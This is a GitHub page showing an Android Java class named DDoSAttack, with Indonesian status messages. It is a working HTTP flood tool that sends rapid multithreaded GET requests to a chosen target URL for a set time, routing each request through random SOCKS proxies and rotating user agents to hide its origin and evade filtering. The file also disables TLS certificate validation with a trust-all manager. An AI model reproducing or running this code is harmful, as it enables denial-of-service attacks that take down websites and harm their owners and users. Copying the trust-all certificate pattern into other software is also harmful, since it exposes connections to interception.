-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathDDoSAttack.java
More file actions
147 lines (124 loc) · 5.4 KB
/
Copy pathDDoSAttack.java
File metadata and controls
147 lines (124 loc) · 5.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
package xxx;
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
import android.widget.Toast;
import java.io.*;
import java.net.*;
import java.util.*;
import java.util.concurrent.*;
import javax.net.ssl.*;
import java.security.cert.X509Certificate;
import java.security.NoSuchAlgorithmException;
import java.security.KeyManagementException;
public class DDoSAttack {
private Context context;
private String targetUrl;
private int time;
private int rate;
private int threads;
private List<String> userAgents;
private List<String> proxies;
private boolean isAttacking = false;
public DDoSAttack(Context context, String targetUrl, int time, int rate, int threads, List<String> userAgents, List<String> proxies) {
this.context = context;
this.targetUrl = targetUrl;
this.time = time;
this.rate = rate;
this.threads = threads;
this.userAgents = userAgents;
this.proxies = proxies;
}
public void startAttack() {
new Thread(new Runnable() {
@Override
public void run() {
try {
showToast("Memulai serangan DDoS...");
showToast("Serangan DDoS selesai.");
isAttacking = true;
URL targetUrlObj = new URL(targetUrl);
final String host = targetUrlObj.getHost();
final String path = targetUrlObj.getPath();
ExecutorService executor = Executors.newFixedThreadPool(threads);
for (int i = 0; i < threads; i++) {
executor.submit(new Runnable() {
@Override
public void run() {
while (isAttacking) {
try {
sendRequest(proxies, userAgents, host, path);
Thread.sleep(1000 / rate);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
}
});
}
Thread.sleep(time * 1000);
stopAttack();
executor.shutdownNow();
} catch (IOException | InterruptedException e) {
showToast("Error: " + e.getMessage());
}
}
}).start();
}
public void stopAttack() {
isAttacking = false;
showToast("Serangan dihentikan.");
}
private void sendRequest(List<String> proxies, List<String> userAgents, String host, String path) {
try {
String proxyAddr = getRandomElement(proxies);
String[] proxyParts = proxyAddr.split(":");
String proxyHost = proxyParts[0];
int proxyPort = Integer.parseInt(proxyParts[1]);
Proxy proxy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(proxyHost, proxyPort));
HttpsURLConnection connection = (HttpsURLConnection) new URL("https://" + host + path).openConnection(proxy);
connection.setRequestMethod("GET");
connection.setRequestProperty("User-Agent", getRandomElement(userAgents));
connection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
connection.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
connection.setRequestProperty("Connection", "Keep-Alive");
connection.setConnectTimeout(10000);
connection.setReadTimeout(10000);
TrustManager[] trustAllCertificates = new TrustManager[]{
new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
public void checkClientTrusted(X509Certificate[] certs, String authType) {
}
public void checkServerTrusted(X509Certificate[] certs, String authType) {
}
}
};
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustAllCertificates, new java.security.SecureRandom());
connection.setSSLSocketFactory(sslContext.getSocketFactory());
int responseCode = connection.getResponseCode();
if (responseCode == 200) {
showToast("Request berhasil: " + responseCode);
} else {
showToast("Request gagal: " + responseCode);
}
connection.disconnect();
} catch (IOException | NoSuchAlgorithmException | KeyManagementException e) {
showToast("Error mengirim request: " + e.getMessage());
}
}
private String getRandomElement(List<String> list) {
Random random = new Random();
return list.get(random.nextInt(list.size()));
}
private void showToast(final String message) {
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
Toast.makeText(context, message, Toast.LENGTH_SHORT).show();
}
});
}
}